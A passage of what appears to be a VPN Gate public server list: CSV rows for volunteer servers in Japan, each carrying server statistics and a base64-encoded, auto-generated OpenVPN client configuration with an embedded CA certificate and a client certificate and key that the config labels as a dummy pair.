aHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +n26,110.163.147.10,1344753,8,383858362,Japan,JP,274,4993749195,2931836,356163728561083,2weeks,DNCServers,east.vpngate.dnc.ne.jp,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTAuMTYzLjE0Ny4xMCAxMTk0DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn591509589,113.154.67.10,1250251,6,390047748,Japan,JP,43,415992195,114759,11444841790257,2weeks,DESKTOP-CI49J4D's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLT